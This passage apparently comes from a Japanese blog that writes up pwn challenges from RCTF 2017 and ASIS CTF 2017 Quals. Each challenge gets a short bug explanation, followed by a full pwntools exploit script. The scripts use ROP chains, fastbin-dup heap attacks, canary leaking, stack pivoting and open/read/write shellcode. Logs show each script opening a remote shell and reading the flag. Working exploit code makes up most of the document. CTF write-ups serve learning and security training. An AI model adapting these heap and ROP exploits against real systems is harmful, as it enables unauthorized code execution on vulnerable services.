u64(conn.recv(6).ljust(8, '\x00')) - puts_offset log.info('libc_base = {:#x}'.format(libc_base)) rop = '' rop += p64(pop_rdi) rop += p64(libc_base + binsh_offset) rop += p64(libc_base + system_offset) conn.sendline(rop) conn.interactive()
% python exploit.py r [*] '/home/hama/ctf/RCTF2017/RCalc/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/hama/ctf/RCTF2017/RCalc/RCalc' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Opening connection to rcalc.2017.teamrois.cn on port 2333: Done [*] Pwning [*] libc_base = 0x7f9b1a4f4000 [*] Switching to interactive mode $ cat flag RCTF{Y0u_kn0w_th3_m4th_9e78cc}
RNote (Pwn 454pt)
bss上に存在する管理領域で、off-by-one BOFが存在する。書き潰せる箇所は、malloc()で取得したポインタなので、ある程度任意の箇所でfree()ができる。 double freeができるので、fastbin dupからfastbin attackをした。__malloc_hookを書き換えてone gadget RCEを使った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "rnote.2017.teamrois.cn" RPORT = 7777 LHOST = "127.0.0.1" LPORT = 7777 # libc = ELF('./libc.so.6') elf = ELF('./RNote') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./RNote'], execute=execute) else: conn = process(['./RNote']) # conn = process(['./RNote'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def add_note(size, name, content): conn.sendlineafter('Your choice: ', '1') conn.sendlineafter('Please input the note size: ', str(size)) conn.sendafter('Please input the title: ', name) conn.sendafter('Please input the content: ', content) def delete_note(idx): conn.sendlineafter('Your choice: ', '2') conn.sendlineafter('Which Note do you want to delete: ', str(idx)) def show_note(idx): conn.sendlineafter('Your choice: ', '3') conn.sendlineafter('Which Note do you want to show: ', str(idx)) conn.recvuntil('note title: ') name = conn.recvline() conn.recvuntil('note content: ') content = conn.recvuntil('***********************') return (name, content) log.info('Pwning') # idx = 0 add_note(0xa0, '\x10'*0x11, 'b'*0xa0) (buf, _) = show_note(0) buf = buf.split('\n')[0] heap_base = u64(buf[16:].ljust(0x8, '\x00')) - 0x10 log.info('heap_base = {:#x}'.format(heap_base)) add_note(0x40, 'hoge\n', 'c'*0x40) # idx=1 delete_note(0) add_note(0xa0, 'fuga\n', '\n') # idx=0 (_, buf) = show_note(0) libc_base = u64(buf[:6].ljust(8, '\x00')) - 0x3c3b0a log.info('libc_base = {:#x}'.format(libc_base)) add_note(0x60, 'AAAAAA\n', 'c'*0x60) # idx=2 add_note(0x60, 'BBBBBB\n', 'c'*0x60) # idx=3 delete_note(2) add_note(0x10, '\x10'*0x11, 'fd') # idx=2 delete_note(3) delete_note(2) offset = 0x3c3af5-8 add_note(0x60, 'fastbin\n', p64(libc_base + offset) + "\n") add_note(0x60, 'a\n', 'a\n') add_note(0x60, 'a\n', 'a\n') payload = '' payload = '\x00'*3 payload += p64(0) * 2 payload += p64(libc_base+0xf0567) #payload = payload.ljust(0x67,'x') add_note(0x68, 'a\n', payload + '\n') conn.interactive()
% python exploit.py r [*] '/home/hama/ctf/RCTF2017/RNote/RNote' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Opening connection to rnote.2017.teamrois.cn on port 7777: Done [*] Pwning [*] heap_base = 0x1201000 [*] libc_base = 0x7f979d363000 [*] Switching to interactive mode *********************** 1.Add new note 2.Delete a note 3.Show a note 4.Exit *********************** Your choice: $ 1 $ 10 Please input the note size: $ ls RNote bin dev flag lib lib32 lib64 $ cat flag RCTF{just_A_0ne_byt3_0ve3fl0w_0_233333}
RNote2 (Pwn 606pt)
expand機能でめんどくさい感じのバグがあり、直下のchunkのsizeを上書きできる。unsortedbinにつながっているchunkのsizeをより大きい値で上書きしてoverlapを起こした。 適当にfastbin attackをして、one gadget RCEを使った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "rnote2.2017.teamrois.cn" RPORT = 6666 LHOST = "127.0.0.1" LPORT = 6666 # libc = ELF('./libc.so.6') elf = ELF('./RNote2') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./RNote2'], execute=execute) else: conn = process(['./RNote2']) # conn = process(['./RNote2'], env={'LD_PRELOAD': './libc.so.6'}) def add_note(length, content): conn.sendlineafter('Your choice:', '1') conn.sendafter('Input the note length:', str(length)) conn.sendafter('Input the note content:', content) def delete_note(idx): conn.sendlineafter('Your choice:', '2') conn.sendlineafter('Which note do you want to delete?', str(idx)) def list_note(): conn.sendlineafter('Your choice:', '3') def edit_note(idx, content): conn.sendlineafter('Your choice:', '4') conn.sendlineafter('Which note do you want to edit?', str(idx)) conn.sendafter('Input new content:', content) def expand_note(idx, length, content): conn.sendlineafter('Your choice:', '5') conn.sendlineafter('Which note do you want to expand?', str(idx)) conn.sendlineafter('How long do you want to expand?', str(length)) conn.sendafter('Input content you want to expand', content) # preparing for exploitation log.info('Pwning') # leak libc add_note(0x90+8, 'a'*0x98) # id = 1 add_note(0x90+8, 'a'*0x98) # id = 1 delete_note(1) add_note(0x20, '\n') list_note() conn.recvuntil('Note content: ') conn.recvuntil('Note content: ') libc_base = u64(conn.recv(6).ljust(8, '\x00')) - 0x3c3c0a log.info('libc_base = {:#x}'.format(libc_base)) # leak heap_base add_note(0x38, '\n') delete_note(2) delete_note(2) add_note(0x28, 'b'*0x10+'\n') list_note() conn.recvuntil('b'*0x10) heap_base = u64(conn.recv(6).ljust(8, '\x00')) - 0xa log.info('heap_base = {:#x}'.format(heap_base)) add_note(0x38, 'hoge\n') # id = 3 add_note(0x100, 'd'*0x100) add_note(0x68, 'e'*0x68) delete_note(4) delete_note(3) add_note(0x28, 'f'*0x28) expand_note(4,0x80, '\xff'*0x80) delete_note(3) payload = 'x' * 0x88 payload += p64(0x31) payload += p64(0x0) payload += p64(0xc8) payload += p64(0x0) payload += p64(heap_base) payload += p64(heap_base) payload += p64(0x71) payload += p64(libc_base + 0x3c3aed) payload += "\n" add_note(0xd0-8, payload) add_note(0x70-8, '\n') payload = '\x00' * 3 payload += p64(0x0) * 2 payload += p64(libc_base + 0xf5b10) add_note(0x70-8, payload +'\n') conn.interactive()
% python exploit.py r [!] Couldn't find relocations against PLT to get symbols [*] '/home/hama/ctf/RCTF2017/RNote2-dir/RNote2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to rnote2.2017.teamrois.cn on port 6666: Done [*] Pwning [*] libc_base = 0x7fa60f4da000 [*] heap_base = 0x55a6b6dbe000 [*] Switching to interactive mode *********************** 1.Add new note 2.Delete a note 3.List all note 4.Edit a note 5.Expand a note 6.Exit *********************** Your choice: $ 1 Input the note length: $ 10 $ ls RNote2 bin dev flag lib lib32 lib64 $ cat flag RCTF{f0rt1fy_th3_pr0gr4m_dud3!!!!!!!}
おわりに
ダラダラと解いていたので時間がかかった。難易度的には初心者向けよりちょっと上ぐらいに感じた。aiRcraftは時間がなかったので諦めた。solve数的には解けたと思うので速度を上げたい。 あとは、もっとrevをできるようになりたい。
ASIS CTF 2017 Quals writeup
はじめに
TokyoWesternsで参加して4933ptで3位だった。そのうち998ptを取った。 解いてflagを出したのは、Random generator、Defaulter、CRC、Stard hard、Ca…gF remastered、CTF Surveyの6問(実質5問)だった。
Random generator (Warm-up, Pwning 95pt)
バイナリはまともに読んでないので詳しくは分からないがcanaryが分かるのでROPした。やるだけ
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "69.90.132.40" RPORT = 4000 LHOST = "127.0.0.1" LPORT = 4000 # libc = ELF('') elf = ELF('./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], execute=execute) else: conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1']) # conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], env={'LD_PRELOAD': ''}) # preparing for exploitation def leak(idx): conn.sendlineafter('What random value do you want to get?', str(idx)) conn.recvuntil('Your value = ') buf = conn.recvline() buf = buf.strip('\n') return int(buf) # 0x00400f8c: pop rax ; pop rdi ; ret ; (1 found) # 0x00400f61: pop rsi ; pop r15 ; ret ; (1 found) # 0x00400f88: mov rdx, rsi ; ret ; (1 found) # 0x00400f8f: syscall ; (1 found) pop_rax_rdi = 0x00400f8c pop_rsi_r15 = 0x00400f61 mov_rdx_rsi = 0x00400f88 syscall = 0x00400f8f bss_base = 0x602340 bufsize = 0x410 - 8 log.info('Pwning') rop = "" # read(stdin, bss, 0x100) # rdx = 0x100 size rop += p64(pop_rsi_r15) rop += p64(0x100) rop += p64(0x0) rop += p64(mov_rdx_rsi) # rsi = bss *buf rop += p64(pop_rsi_r15) rop += p64(bss_base) rop += p64(0x0) # rdi = 0 fd, rax = 0 SYS_read rop += p64(pop_rax_rdi) rop += p64(0x0) rop += p64(0x0) # syscall rop += p64(syscall) # system(&"/bin/sh", NULL, NULL) # rdx = NULL rop += p64(pop_rsi_r15) rop += p64(0x0) rop += p64(0x0) rop += p64(mov_rdx_rsi) # rsi = NULL rop += p64(pop_rsi_r15) rop += p64(0x0) rop += p64(0x0) # rdi = &"/bin/sh" rop += p64(pop_rax_rdi) rop += p64(59) rop += p64(bss_base) rop += p64(syscall) binsh = "/bin/sh\x00" canary = 0 for i in range(1, 8): print i buf = leak(i) canary += buf << ((i) * 8) print hex(canary) conn.sendline("0") payload = "A" * bufsize payload += p64(canary) payload += "XXXXYYYY" payload += rop # payload += rop conn.sendline(payload) conn.sendline(binsh) conn.interactive() # ASIS{e77c4a76d8079b330e7e78e8e3f434c4}
Defaulter (Pwning 186pt)
blind問。バイナリがないのでまずはテキスト領域をダンプした。write, read, openatが許可されているので、flagを開いて読んだ。openatの第一引数を-100にするとopenと同じ動きをするらしい。あとはやるだけ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "188.226.140.60" RPORT = 10001 LHOST = "127.0.0.1" LPORT = 4000 # libc = ELF('') # elf = ELF('./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], execute=execute) else: conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1']) # conn = process(['./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1'], env={'LD_PRELOAD': ''}) # preparing for exploitation # leak text text_base = 0x400000 shellcode = ''' push 0x30 pop rax xor al, 0x30 push rax mov rax, 0x67616c662f2f2f2e push rax mov rdi, -100 mov rsi, rsp xor rdx, rdx xor r10, r10 mov rax, 257 syscall mov rdi, rax mov rsi, 0x601810 mov rdx, 0x100 xor rax, rax syscall mov rdi, 0x1 mov rsi, 0x601810 mov rdx, 0x100 mov rax, 1 syscall ''' conn.recvuntil('The shellcode to execute:') conn.sendline(asm(shellcode)) print repr(asm(shellcode)) print repr(conn.recv(1024)) print repr(conn.recv(1024)) # ASIS{r34d_wr1t3_sh3llc0de_w1th_0pen4t_:-P}
CRC (Pwning 123pt)
サイズと文字列を投げると、そのCRC32の値を返してくれる。入力にgets()を使っているのでBOFがある。あとはlibcとcanaryを求めた。
#!/usr/bin/env python from pwn import * import json context(os='linux', arch='i386') # context.log_level = 'debug' # output verbose log RHOST = "69.90.132.40" RPORT = 4002 LHOST = "127.0.0.1" LPORT = 4002 # libc = ELF('') elf = ELF('./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'], execute=execute) else: conn = process(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d']) # conn = process(['./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'], env={'LD_PRELOAD': ''}) # preparing for exploitation bufsize = 100 stdout_addr = 0x804a024 #stdout_offset = 0x1b0d60 stdout_offset = 0x1b2d60 libc_start_main_got = 0x8049ff0 libc_start_main_offset = 0x0018540 master_canary_offset = 0x1e5954 system_offset = 0x0003a940 binsh_offset = 0x158e8b f = open('table.json', 'r') d = json.load(f) def CRC(size, payload): conn.sendlineafter('Choice: ', str(1)) conn.sendlineafter('What is the length of your data: ', str(size)) conn.sendlineafter('bytes to process: ', payload) conn.recvuntil('CRC is: ') return int(conn.recv(10), 16) def search(h): for k, v in d.items(): if v == h: return int(k) return -1 log.info('Pwning') payload = "\x00" * bufsize payload += p32(stdout_addr) #print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 0))) #print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 1))) #print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 2))) #print hex(CRC(1, "\x00" * bufsize + p32(stdout_addr + 3))) buf = '' buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 0)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 1)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 2)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(libc_start_main_got + 3)))) libc_base = u32(buf) - libc_start_main_offset log.info('libc_base = {:#x}'.format(libc_base)) master_canary = libc_base + master_canary_offset # master_canary = libc_base + binsh_offset #print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 0))) #print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 1))) ##print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 2))) #print hex(CRC(1, "\x00" * bufsize + p32(master_canary + 3))) buf = '' buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 0)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 1)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 2)))) buf += chr(search(CRC(1, "\x00" * bufsize + p32(master_canary + 3)))) log.info('canary = {:#x}'.format(u32(buf))) payload = "A" * 0x28 payload += buf payload += "AAAA" * 3 payload += p32(libc_base + system_offset) payload += "BBBB" payload += p32(libc_base + binsh_offset) conn.sendline('1') conn.sendline(payload) conn.interactive() # ASIS{db17755326b5df9dab92e18e43c3ee51}
% cat table.json {"0": 3523407757, "1": 2768625435, "2": 1007455905, "3": 1259060791, "4": 3580832660, "5": 2724731650, "6": 996231864, "7": 1281784366, "8": 3705235391, "9": 2883475241, "10": 3523407757, "11": 1171273221, "12": 3686048678, "13": 2897449776, "14": 901431946, "15": 1119744540, "16": 3484811241, "17": 3098726271, "18": 565944005, "19": 1455205971, "20": 3369614320, "21": 3219065702, "22": 651582172, "23": 1372678730, "24": 3245242331, "25": 3060352845, "26": 794826487, "27": 1483155041, "28": 3322131394, "29": 2969862996, "30": 671994606, "31": 1594548856, "32": 3916222277, "33": 2657877971, "34": 123907689, "35": 1885708031, "36": 3993045852, "37": 2567322570, "38": 1010288, "39": 1997036262, "40": 3887548279, "41": 2427484129, "42": 163128923, "43": 2126386893, "44": 3772416878, "45": 2547889144, "46": 248832578, "47": 2043925204, "48": 4108050209, "49": 2212294583, "50": 450215437, "51": 1842515611, "52": 4088798008, "53": 2226203566, "54": 498629140, "55": 1790921346, "56": 4194326291, "57": 2366072709, "58": 336475711, "59": 1661535913, "60": 4251816714, "61": 2322244508, "62": 325317158, "63": 1684325040, "64": 2766056989, "65": 3554254475, "66": 1255198513, "67": 1037565863, "68": 2746444292, "69": 3568589458, "70": 1304234792, "71": 985283518, "72": 2852464175, "73": 3707901625, "74": 1141589763, "75": 856455061, "76": 2909332022, "77": 3664761504, "78": 1130791706, "79": 878818188, "80": 3110715001, "81": 3463352047, "82": 1466425173, "83": 543223747, "84": 3187964512, "85": 3372436214, "86": 1342839628, "87": 655174618, "88": 3081909835, "89": 3233089245, "90": 1505515367, "91": 784033777, "92": 2967466578, "93": 3352871620, "94": 1590793086, "95": 701932520, "96": 2679148245, "97": 3904355907, "98": 1908338681, "99": 112844655, "100": 2564639436, "101": 4024072794, "102": 1993550816, "103": 30677878, "104": 2439710439, "105": 3865851505, "106": 2137352139, "107": 140662621, "108": 2517025534, "109": 3775001192, "110": 2013832146, "111": 252678980, "112": 2181537457, "113": 4110462503, "114": 1812594589, "115": 453955339, "116": 2238339752, "117": 4067256894, "118": 1801730948, "119": 476252946, "120": 2363233923, "121": 4225443349, "122": 1657960367, "123": 366298937, "124": 2343686810, "125": 4239843852, "126": 1707062198, "127": 314082080, "128": 1069182125, "129": 1220369467, "130": 3518238081, "131": 2796764439, "132": 953657524, "133": 1339070498, "134": 3604597144, "135": 2715744526, "136": 828499103, "137": 1181144073, "138": 3748627891, "139": 2825434405, "140": 906764422, "141": 1091244048, "142": 3624026538, "143": 2936369468, "144": 571309257, "145": 1426738271, "146": 3422756325, "147": 3137613171, "148": 627095760, "149": 1382516806, "150": 3413039612, "151": 3161057642, "152": 752284923, "153": 1540473965, "154": 3268974039, "155": 3051332929, "156": 733688034, "157": 1555824756, "158": 3316994510, "159": 2998034776, "160": 81022053, "161": 1943239923, "162": 3940166985, "163": 2648514015, "164": 62490748, "165": 1958656234, "166": 3988253008, "167": 2595281350, "168": 168805463, "169": 2097738945, "170": 3825313147, "171": 2466682349, "172": 224526414, "173": 2053451992, "174": 3815530850, "175": 2490061300, "176": 425942017, "177": 1852075159, "178": 4151131437, "179": 2154433979, "180": 504272920, "181": 1762240654, "182": 4026595636, "183": 2265434530, "184": 397988915, "185": 1623188645, "186": 4189500703, "187": 2393998729, "188": 282398762, "189": 1741824188, "190": 4275794182, "191": 2312913296, "192": 1231433021, "193": 1046551979, "194": 2808630289, "195": 3496967303, "196": 1309403428, "197": 957143474, "198": 2684717064, "199": 3607279774, "200": 1203610895, "201": 817534361, "202": 2847130659, "203": 3736401077, "204": 1087398166, "205": 936857984, "206": 2933784634, "207": 3654889644, "208": 1422998873, "209": 601230799, "210": 3135200373, "211": 3453512931, "212": 1404893504, "213": 616286678, "214": 3182598252, "215": 3400902906, "216": 1510651243, "217": 755860989, "218": 3020215367, "219": 3271812305, "220": 1567060338, "221": 710951396, "222": 3010007134, "223": 3295551688, "224": 1913130485, "225": 84884835, "226": 2617666777, "227": 3942734927, "228": 1969605100, "229": 40040826, "230": 2607524032, "231": 3966539862, "232": 2094237127, "233": 198489425, "234": 2464015595, "235": 3856323709, "236": 2076066270, "237": 213479752, "238": 2511347954, "239": 3803648100, "240": 1874795921, "241": 414723335, "242": 2175892669, "243": 4139142187, "244": 1758648712, "245": 534112542, "246": 2262612132, "247": 4057696306, "248": 1633981859, "249": 375629109, "250": 2406151311, "251": 4167943193, "252": 1711886778, "253": 286155052, "254": 2282172566, "255": 4278190080}
Start hard (Pwning 201pt)
類題を解いたことがあるので、やるだけだった。blute forceとか必要ない。やるだけ
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "128.199.152.175" RPORT = 10001 LHOST = "127.0.0.1" LPORT = 10001 # libc = ELF('') elf = ELF('./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'], execute=execute) else: conn = process(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249']) # conn = process(['./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249'], env={'LD_PRELOAD': ''}) # preparing for exploitation bufsize = 24 bss_stage = 0x601880 one_gadget = 0x0f0567 read_got = 0x601018 # 0x004005c3: pop rdi ; ret ; (1 found) # 0x004005c1: pop rsi ; pop r15 ; ret ; (1 found) pop_rdi = 0x004005c3 pop_rsi_r15 = 0x004005c1 # 0x004005ba: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) pop_rbx_rbp_r12_r13_r14_r15 = 0x004005ba # 0x00400550: leave ; ret ; (1 found) leave_ret = 0x00400550 # 0x00400490: pop rbp ; ret ; (2 found) pop_rbp = 0x00400490 ''' 0x4005a0: mov rdx,r13 0x4005a3: mov rsi,r14 0x4005a6: mov edi,r15d 0x4005a9: call QWORD PTR [r12+rbx*8] ''' call_r12 = 0x004005a0 log.info('Pwning') # read payload = "A" * bufsize payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0x0) payload += p64(0x1) payload += p64(read_got) payload += p64(0x200) payload += p64(bss_stage) payload += p64(0) payload += p64(call_r12) payload += "XXXXXXXX" * 7 # read payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0x0) payload += p64(0x1) payload += p64(read_got) payload += p64(0x1) payload += p64(read_got) payload += p64(0) payload += p64(call_r12) payload += "XXXXXXXX" * 7 # stack pivot payload += p64(pop_rbp) payload += p64(bss_stage) payload += p64(leave_ret) payload += "\x00" * (0x400 - len(payload)) conn.send(payload) payload = p64(0x00000400406) payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0x0) payload += p64(0x1) payload += p64(read_got) payload += p64(0x8) payload += p64(read_got) payload += p64(1) payload += p64(call_r12) payload += "XXXXXXXX" * 7 payload += p64(pop_rbx_rbp_r12_r13_r14_r15) payload += p64(0x0) payload += p64(0x1) payload += p64(bss_stage) payload += p64(0x80) payload += p64(bss_stage + 0x300) payload += p64(0) payload += p64(call_r12) payload += "XXXXXXXX" * 7 payload += p64(pop_rbp) payload += p64(bss_stage + 0x300) payload += p64(leave_ret) payload += "A" * (0x200 - len(payload)) conn.send(payload) conn.send('\xd0') libc_base = u64(conn.recv(8)) - 0x00f66d0 log.info("libc_base = {:#x}".format(libc_base)) payload = "AAAABBBB" payload += p64(libc_base + 0x4526a) payload += "\x00" * (0x80 - len(payload)) conn.send(payload) conn.interactive() # ASIS{n0_exec_stack_slapped_ma_f4c3_hehe_____}
Ca…gF remastered (Pwning 384pt)
heapが良くわからないので、なんとなくでやった。隣にいたheapのプロに色々と聞きながらだったので解けた。適当にheapとlibcのアドレスをリークさせ、fastbin dupでチャンクの共有状態を作りだしてfastbin attackで、stdoutのvtable ptrを書き換えた。あとは適当なOne gadget RCEが使えた。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "128.199.85.217" RPORT = 10001 LHOST = "127.0.0.1" LPORT = 10001 # libc = ELF('') elf = ELF('./CaNaKMgF_remastered') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./CaNaKMgF_remastered'], execute=execute) else: conn = process(['./CaNaKMgF_remastered']) # conn = process(['./CaNaKMgF_remastered.bin_e70ec4b07287604ad59ae59f9cb170ab60a0cc5c'], env={'LD_PRELOAD': ''}) # preparing for exploitation def Allocate(size, payload): conn.recvuntil('5. Run away') conn.sendline('1') conn.recvuntil('Length? ') conn.sendline(str(size)) conn.sendline(payload) def Free(idx): conn.recvuntil('5. Run away') conn.sendline('3') conn.recvuntil('Num? ') conn.sendline(str(idx)) def Read(idx): conn.recvuntil('5. Run away') conn.sendline('4') conn.recvuntil('Num? ') conn.sendline(str(idx)) log.info('Pwning') Allocate(0x28, "A" * 0x28) # 0 Allocate(0x28, "B" * 0x28) # 1 Allocate(0x28, "C" * 0x28) # 2 Free(1) Free(0) Read(0) heap_base = u64(conn.recv(6) + "\x00\x00") - 0x30 log.info('heap_base = {:#x}'.format(heap_base)) Allocate(0x500, "A") Free(3) Read(0) libc_base = u64(conn.recv(6) + "\x00\x00") - 0x3c3bc8 log.info('libc_base = {:#x}'.format(libc_base)) Allocate(0x68, "X" * 0x60) # 4 Allocate(0x68, "Y") # 5 Free(4) Free(5) Free(4) Allocate(0x68, p64(libc_base + 0x3c46c5 - 0x8)) # 6 Allocate(0x68, "A") # 7 dummy = "A" * 8 dummy += "B" * 8 dummy += "C" * 8 dummy += p64(libc_base + 0x4526a) dummy += "E" * 8 dummy += "F" * 8 dummy += "G" * 8 dummy += p64(libc_base + 0x791e0) Allocate(0x68, dummy) # 8 payload = "\x00" * 3 payload += "\x00" * (8 * 3) payload += p64(0xffffffff) payload += "\x00" * 8 payload += p64(heap_base + 0xa0) Allocate(0x68, payload) # 9 conn.interactive() # ASIS{full_relro_fastbin_attack!!!!!!_:-P}
CTF Survey
感想書いた。
おわりに
pwnは初心者向けに感じた。heapが良くわからないので精進したいと思う。